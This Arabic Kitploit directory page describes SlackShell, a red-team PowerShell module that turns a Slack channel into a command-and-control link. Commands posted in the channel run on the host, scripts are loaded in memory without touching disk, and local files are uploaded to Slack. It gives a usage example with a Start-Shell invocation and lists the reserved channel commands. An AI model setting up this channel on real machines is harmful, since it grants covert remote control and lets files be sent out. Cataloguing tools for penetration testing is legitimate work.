Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SlackShell — PowerShell إلى Slack C2 | Kitploit
أدوات/GitHubGitHub/bkup/slackshell
ما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHubbkup/slackshell

SlackShell

PowerShell إلى Slack C2

عرض المستودع
10720منذ 8 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SlackShell

الوصف وسجل التغييرات

v1.0

تتضمن وحدة PowerShell هذه العديد من الدوال التي تستخدم Slack API لإنشاء قناة تحكم وأوامر (command and control). الدالة الرئيسية، Start-Shell، ستتصل بقناة Slack يحددها المستخدم وتقوم بالمصادقة باستخدام توكن مصادقة API مقدم لفريق ومستخدم Slack معينين. سيتم بعد ذلك تنفيذ أي أمر يُكتب في القناة، في PowerShell، على المضيف.

يتطلب مشروع SlackShell إصدار PowerShell v3 أو أحدث بسبب استخدام Invoke-RestMethod لاستدعاءات API. سيواصل التطوير المستقبلي استخدام أوامر ودوال PowerShell الحالية. ومع ذلك، تم إنشاء نسخة منقولة إلى PowerShell v2 في SlackShell-Poshv2.psm1.

v1.1

يمكن استيراد سكربتات PS إضافية إلى الجلسة الجارية عن طريق رفعها أولاً إلى قناة Slack. تقوم ميزة الاستيراد بتنزيل الملفات، التي تُستضاف افتراضيًا على https://slack-files.com، واستيرادها في الذاكرة. لا تلمس الملفات القرص. على العكس، يمكن استخدام ميزة التنزيل لحفظ نسخة محلية من أي ملف على القرص.

يمكن رفع الملفات المحلية إلى قناة Slack عبر API باستخدام ميزة الرفع.

إذا لزم الأمر، يمكن إنشاء عملية PS منفصلة لتشغيل أمر يستخدم cmdlet المدمج Invoke-Command.

الدوال

Start-Shell

يبدأ مراقبة قناة Slack بحثًا عن أوامر سيتم تنفيذها في PowerShell. سيتصل بقناة Slack كل $sleep ثانية ويسحب جميع الأوامر الجديدة. سيتم تنفيذ الأوامر على المضيف في PowerShell.

Send-Message

يرسل رسالة إلى قناة Slack المحددة عبر API. تُرسل الرسائل مع ترويسة نصية ويكون جسم الرسالة مرفق Slack.

Invoke-Job

يبدأ عملية جديدة وينفذ أمرًا في PowerShell على المضيف. يستخدم طريقة Start-Job في PowerShell لإنشاء عملية جديدة، والانتظار حتى انتهاء المهمة، ثم إرجاع المخرجات.

Invoke-Command

ينفذ أمرًا في PowerShell على المضيف في السياق الحالي للعملية الجارية ويعيد المخرجات.

Get-SlackMessage

يعيد جميع الرسائل في قناة Slack محددة من أقدم فترة زمنية حتى الوقت الحالي. يتم إرجاع الرسائل بتنسيق JSON وفقًا لمواصفات API.

Test-Connection

يستخدم استدعاء Slack API لاختبار ما إذا كان توكن API المقدم صالحًا.

Get-FileList

يستخدم استدعاء Slack API لإرجاع قائمة بالملفات المستضافة حاليًا في قناة Slack.

Import-File

يقوم بتحديث قائمة الملفات ثم ينزّل الملف المحدد إلى الذاكرة، وينشئ وحدة جديدة، ثم يستورد تلك الوحدة. يمكن بعد ذلك إدخال الأوامر الخاصة بتلك الوحدة مباشرة في قناة Slack. الملف الذي يتم تنزيله لا يلمس القرص. يجب اعتبار هذه الدالة في مرحلة تجريبية (Beta) بينما تستمر اختبارات إضافية. بعض الوحدات تتصرف بشكل غير مستقر

Receive-File

يقوم بتحديث قائمة الملفات ثم ينزّل الملف المحدد إلى القرص. يمكن تضمين مسار تخزين إضافي، والافتراضي هو الموقع الحالي.

Send-file

يرفع ملفًا محليًا إلى قناة Slack.

المعلمات الرئيسية

Token

هو توكن API المستخدم للمصادقة. يمثل هذا التوكن مستخدمًا محددًا على فريق Slack محدد. يمكن العثور على مزيد من المعلومات هنا: https://api.slack.com/custom-integrations/legacy-tokens

Channel

هو معرّف القناة الذي يحدد قناة Slack التي سيتم استخدامها في الفريق. ستتم معالجة جميع النصوص في هذه القناة كأوامر على المضيف عند تشغيل Start-Shell. يمكن العثور على معرّف القناة في عنوان URL عند الوصول إلى صفحة القناة من موقع Slack المستند إلى الويب.

مثال: https://slackteam1.slack.com/messages/ABC123456. معرّف القناة هو "ABC123456".

الاستخدام

Import-Module ./SlackShell.psm1

Start-Shell -Token "xoxp-175828824580-175707545555-176600001223-826315a84e533c482bb7e20e8312fh45k" -Channel "ABC123456" -Sleep 5

انضم إلى نفس قناة Slack كمستخدم مختلف عن المستخدم الذي تم استخدامه لإنشاء التوكن. أي شيء يُكتب في القناة كمستخدم مختلف سيتم تنفيذه على المضيف تحت نفس سياق المستخدم المحلي الذي تم استخدامه لبدء البرنامج النصي. بدلاً من ذلك، يمكن استخدام "runjob" لتنفيذ الأوامر في عملية PowerShell منشأة حديثًا.

أوامر Shell المحجوزة (في قناة Slack)

exit

يغلق الصدفة والاتصال.

cd <path>

يغيّر الدليل في سياق العملية الرئيسية. يمكن استخدام مسارات نسبية (على سبيل المثال cd ..)

sleep <int>

يغيّر مدة الانتظار.

files

يسرد الملفات المتاحة في قناة Slack المرتبطة.

import <filename>

يستورد الملف المحدد. يجب أن يكون الملف مشتركًا مع قناة Slack المستخدمة.

download <filename> <path>

ينزّل الملف المحدد إلى القرص ويخزنه في موقع المسار الاختياري. يجب أن يكون الملف مشتركًا مع قناة Slack المستخدمة.

upload <local filename>

يرفع الملف المحلي إلى Slack ويشاركه مع القناة المستخدمة.

runjob <command>

يشغّل الأمر المحدد في عملية PowerShell جديدة.

شكر وتقدير

يُعزى الإلهام للعمل مع Slack API في PowerShell إلى Warren Frame. كانت مستودعاته مصدرًا رائعًا للبدء: https://github.com/RamblingCookieMonster/PSSlack

شكر خاص إلى @thesubtlety لقيامه بالنقل إلى POSHv2 وإضافة التحسينات.

تنزيل الأداة